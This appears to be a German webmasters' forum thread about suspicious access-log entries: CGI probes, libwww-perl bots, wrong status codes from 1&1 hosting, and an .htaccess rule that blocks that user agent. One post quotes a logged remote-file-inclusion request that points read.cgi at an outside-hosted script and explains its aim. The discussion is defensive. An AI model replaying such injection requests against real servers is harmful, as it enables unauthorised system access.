Hellihello Norbert,

Mich wuerde vielmehr interessieren, wie man erfaehrt, dass es diese und jene Domain gibt, auch wenn sie in Suchmaschinen noch gar nicht gelistet ist.

Aha, das wusste ich auch nicht. Vielleicht als Mitglied der Denic kriegt man eine Positivliste?

Dank und Gruß,

frankx

Hallo Norbert!

Was wurde da versucht?
na-ja,
eine main.cgi mit verschiedenen Parametern aufzurufen.

Ja, so weit sehe ich das auch, sogar ohne Brille ;) Aber..., was ist der Sinn dahinter?

Viele Grüße aus Frankfurt/Main,
Patrick

--

_ - jenseits vom delirium - _
[link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
Nichts ist unmöglich? Doch!
Heute schon gegökt?

Hellihello Zusammen,

Hi,

217.31.58.188 - libwww-perl/5.805

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

Hat das http://secwatch.org/advisories/1009058 was damit zu tun?

Komisch aber doch, dass sich mit http://www.google.de/search?q=rb9.txt+cgi nicht mehr dazu finden lässt, oder?

Der Status-Code 200 ist hier 1&1-spezifisch,

Ja, die Response-Codes von 1&1 sind wirklich haarsträubend. Habe mich gerade bei einem Kunden geärgert, wo 1&1 den falschen Response bei einem Redirect gesendet hat.

Fakt ist, wenn ich die Anfrage in die Adresszeile kopiere, kommt meine 404-Seite für nicht gefundenen Skriptdateien.

Fakt ist auch, daß der Server aber wirklich fälschlicherweise einen 200er sendet, statt des korrekten 404ers.

Im Prinzip ist zu empfehlen, auf eine PHP-Error-Seite umzulenken, und die dann manuell einen 404er absenden zu lassen.

Ist das denn wirklich von Nachteil, dem Hacker sofort zu sagen, dass es sowas da nicht gibt?

Dank und Gruß,

frankx

Hallo Cybaer!

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

In unregelmäßigen Abständen taucht es im UA...

Was wurde da versucht?
... um zu schauen, was geht.

Würde bedeuten, dass andere ein Skript namens main.cgi haben, das diese Kiddies versuchen, zu manipulieren?

Der Status-Code 200 ist hier 1&1-spezifisch,
Ja, die Response-Codes von 1&1 sind wirklich haarsträubend. Habe mich gerade bei einem Kunden geärgert, wo 1&1 den falschen Response bei einem Redirect gesendet hat.

Mich nervt vor allem der fehlende 500er-Status. Als ich letztes Jahr zu 1&1 umgezogen bin, musste ich den Support mailen, weil ich, bei einem absichtlich kaputt geschriebenen Testskript grundsätzlich die 1&1-Default-Seite zu sehen bekam, und nicht meine. Nach einigem hin und her bekam ich den Hinweis, dass eine Datei, die unbedingt error500.html heißen MUSS im Root abgelegt werden muss (meine anderen, eigenen Error Pages befinden sich in /error).

Aber dennoch gibt 1&1 beim kaputten Skript den Statuscode 200 aus. Wenn man sich die Stats anschaut (die von 1&1, abrufbar vom Kontrolpanel aus), ist es auf den ersten Blick erfreulich, doch weiß man, wie oft man beim Testen einen 500er geerntet hat... das ist aber nicht zu sehen.

Außerdem gibt es bei 1&1 keinen error-Log. Dafür einen mail-log für über sendmail gesendetete Mails, praktisch zum überprüfen, ob alles mit rechten Dingen zugeht ;)

Fakt ist auch, daß der Server aber wirklich fälschlicherweise einen 200er sendet, statt des korrekten 404ers.

Ja, das ist das selbe wie bei der 500er-Seite. Für Skript-Dateien, die nicht gefunden werden (gibtsnicht.php, gibtsnicht.cgi, gibtsnicht.pl) muss im Root eine Datei error404.html, die auch nur so heißen darf, agbelegt werden. Sie wird ja gezeigt, wenn man versucht eine dieser gibtsnicht-Dateien aufzurufen - doch der Statuscode ist 200:

Viele Grüße aus Frankfurt/Main,
Patrick

--

_ - jenseits vom delirium - _
[link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
Nichts ist unmöglich? Doch!
Heute schon gegökt?

Moin!

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

Jaja, das merkt man ;-)

Im Prinzip ist zu empfehlen, auf eine PHP-Error-Seite umzulenken, und die dann manuell einen 404er absenden zu lassen.

Wer seinem Server ein bisschen Arbeit machen möchte, kann bestimmte Bots per .htaccess aussperen (hab ich gerade mal ausprobiert):

SetEnvIfNoCase User-Agent libwww-perl SpamBot=Remote_Addr  
  
Order allow,deny  
Allow from All  
Deny from env=SpamBot

Ich verstehe nicht, warum sich diese Script-Kiddies/Hacker/Adress-Sammler/… noch nicht einmal den „Aufwand“ machen, einen „in the wild“ existierenden und verbreiteten User-Agent zu verwenden, das fiele viel weniger auf – wenn überhaupt.

Viele Grüße,
Robert

Hi,

217.31.58.188 - libwww-perl/5.805

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

merkwürdige Erklärung für LWP!

Gruß
Reiner

Moin!

old.atomic-eggs.com 19:13:45 GET /cgi-bin/bbs/read.cgi?file=http://geocities.com/lampungstreetart/sefe.txt? 404 -

Interessant ist, dem Link im Paramter »file« zu folgen. Was versuchen die da?

Dahinter steckt die komische Idee, über eine CGI-Datei (vermutlich noch in Perl ;-) ) mit PHP-Befehlen abzuklopfen auf was für einem System der Server läuft und wie man Systemzugriff erhalten kann. Man könnte jetzt z.B. schauen, welche Websoftware eine Datei bbs/read.cgi enthält und dann nach Schwachstellen suchen, um zu Wissen, was die Cracker suchen.

Für Leute, die Cracker und Script-Kiddies in Honigtöpfen fangen, dürften solche Log-Auszüge äußerst interessant sein.

Viele Grüße,
Robert

Hi,

Interessant ist, dem Link im Paramter »file« zu folgen.

das dürfte das gleiche Script ein, das bei mir (siehe https://forum.selfhtml.org/?t=164874&m=1077767) über diverse andere Arten eingeschleust werden soll und auf verschiedenen Domains liegt.

freundliche Grüße
Ingo